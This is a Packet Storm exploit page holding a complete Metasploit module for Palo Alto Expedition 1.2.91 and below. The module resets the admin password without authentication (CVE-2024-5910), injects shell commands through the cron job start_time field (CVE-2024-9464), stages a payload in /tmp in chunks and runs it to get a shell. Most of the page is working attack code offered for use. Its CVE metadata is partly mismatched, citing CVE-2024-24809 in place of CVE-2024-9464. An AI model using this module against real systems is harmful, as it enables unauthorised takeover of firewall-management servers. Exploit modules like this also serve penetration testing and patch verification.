what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Palo Alto Expedition 1.2.91 Remote Code Execution

Palo Alto Expedition 1.2.91 Remote Code Execution
Posted Nov 13, 2024
Authored by Enrique Castillo, Zach Hanley, Michael Heinzl | Site metasploit.com

This Metasploit module lets you obtain remote code execution in Palo Alto Expedition versions 1.2.91 and below. The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data. When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.

tags | exploit, remote, code execution
advisories | CVE-2024-24809, CVE-2024-5910
SHA-256 | df2c6c91b0ec6249f500e20b70f386982ccf89ee425960ccceff8fd524cb14ff

Palo Alto Expedition 1.2.91 Remote Code Execution

Change Mirror Download
class MetasploitModule < Msf::Exploit::Remote

class XsrfExceptionError < StandardError; end
class XsrfExceptionUnreachableError < XsrfExceptionError; end

Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)',
'Description' => %q{
Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below.
The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data.
When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.
},
'License' => MSF_LICENSE,
'Author' => [
'Michael Heinzl', # MSF Module
'Zach Hanley', # Discovery CVE-2024-9464 and PoC
'Enrique Castillo', # Discovery CVE-2024-9464
'Brian Hysell' # Discovery CVE-2024-5910
],
'References' => [
[ 'URL', 'https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/'],
[ 'URL', 'https://security.paloaltonetworks.com/PAN-SA-2024-0010'],
[ 'URL', 'https://security.paloaltonetworks.com/CVE-2024-5910'],
['URL', 'https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910'],
['URL', 'https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464'],
[ 'CVE', '2024-5910'],
[ 'CVE', '2024-24809']
],
'DisclosureDate' => '2024-10-09',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => 'True',
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1..3),
'FETCH_WRITABLE_DIR' => '/tmp'
},
'Payload' => {
# the vulnerability allows the characters " and \
# but the stager in this module does not
'BadChars' => "\x22\x3a\x3b\x5c" # ":;\
},
'Platform' => %w[unix linux],
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => %w[unix linux]
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
]
],

'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, ACCOUNT_LOCKOUTS]
}
)
)

register_options(
[
OptString.new('USERNAME', [false, 'Username for authentication, if available', 'admin']),
OptString.new('PASSWORD', [false, 'Password for the specified user', 'paloalto']),
OptString.new('TARGETURI', [ true, 'The URI for the Expedition web interface', '/']),
OptBool.new('RESET_ADMIN_PASSWD', [ true, 'Set this flag to true if you do not have credentials for the target and want to reset the current password to the default "paloalto"', false]),
OptString.new('WRITABLE_DIR', [ false, 'A writable directory to stage the command', '/tmp/' ]),
]
)
end

def xsrf_token_value
user = @username || datastore['USERNAME']
password = @password || datastore['PASSWORD']

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bin/Auth.php'),
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'get',
'type' => 'login_users',
'user' => user,
'password' => password
}
)

raise XsrfExceptionUnreachableError, 'Failed to receive a reply from the server.' unless res

data = res.get_json_document

raise XsrfExceptionUnreachableError, "Unexpected reply from the server: #{data}" unless data['csrfToken']

print_good('Successfully authenticated')

csrftoken = data['csrfToken']
raise XsrfExceptionUnreachableError, 'csrftoken not found.' unless csrftoken

vprint_status("Got csrftoken: #{csrftoken}")
csrftoken
end

def check
unless datastore['USERNAME'] && datastore['PASSWORD']
unless datastore['RESET_ADMIN_PASSWD']
print_bad('No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again.')
return CheckCode::Unknown
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php')
)

return CheckCode::Unknown('Failed to receive a reply from the server.') unless res

if res.code == 403
return CheckCode::Safe
end

return CheckCode::Safe("Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to')

respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto'
print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).")
@password = respass
@username = 'admin'
@reset = true
end

begin
@xsrf_token_value = xsrf_token_value
rescue XsrfException::Error
return CheckCode::Safe
end

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bin/MTSettings/settings.php?param=versions'),
'keep_cookies' => true,
'headers' => {
'Csrftoken' => @xsrf_token_value
}
)

data = res.get_json_document
version = data.dig('msg', 'Expedition')

if version.nil?
return CheckCode::Unknown
end

print_status('Version retrieved: ' + version)

if Rex::Version.new(version) > Rex::Version.new('1.2.91')
return CheckCode::Safe
end

return CheckCode::Appears
end

def execute_command(cmd, check_res)
name = Rex::Text.rand_text_alpha(4..8)
vprint_status("Running command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),
'keep_cookies' => true,
'headers' => {
'Csrftoken' => @xsrf_token_value
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'set',
'type' => 'cron_jobs',
'project' => 'pandb',
'name' => name,
'cron_id' => 1,
'recurrence' => 'Daily',
'start_time' => "\";#{cmd} #"
}
)
if check_res && !res.nil? && res.code != 200 # final execute command does not background for some reason?
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}")
end
end

def exploit
cmd = payload.encoded
chunk_size = rand(25..35)
vprint_status("Command chunk size = #{chunk_size}")
cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join)
staging_file = (datastore['WRITABLE_DIR'] + '/' + Rex::Text.rand_text_alpha(3..5)).gsub('//', '/')

if !@reset && !(datastore['USERNAME'] && datastore['PASSWORD'])
unless datastore['RESET_ADMIN_PASSWD']
fail_with(Failure::BadConfig, 'No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again..')
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php')
)

fail_with(Failure::Unreachable, 'Failed to receive a reply.') unless res
fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to')

respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto'
print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).")
@password = respass
@username = 'admin'
end

begin
@xsrf_token_value = xsrf_token_value
rescue XsrfException::Error
return fail_with(Failure::Unreachable, 'Failed to receive XSRF token.')
end

print_status('Adding a new cronjob...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),
'keep_cookies' => true,
'headers' => {
'Csrftoken' => @xsrf_token_value
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'add',
'type' => 'new_cronjob',
'project' => 'pandb'
}
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

data = res.get_json_document
fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{data}") unless data['success'] == true

# Stage the command to a file
redirector = '>'
chunk_counter = 0
cmd_chunks.each do |chunk|
chunk_counter += 1
vprint_status("Staging chunk #{chunk_counter} of #{cmd_chunks.count}")
write_chunk = "echo -n \"#{chunk}\" #{redirector} #{staging_file}"
execute_command(write_chunk, true)
redirector = '>>'
sleep 1
end

# Once we launch the payload, we don't seem to be able to execute another command,
# even if we try to background the command, so we need to execute and delete in
# the same command.

print_good('Command staged; command execution requires a timeout and will take a few seconds.')
execute_command("cat #{staging_file} | sh && rm #{staging_file}", false)
sleep 3

print_status('Check thy shell.')
end
end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close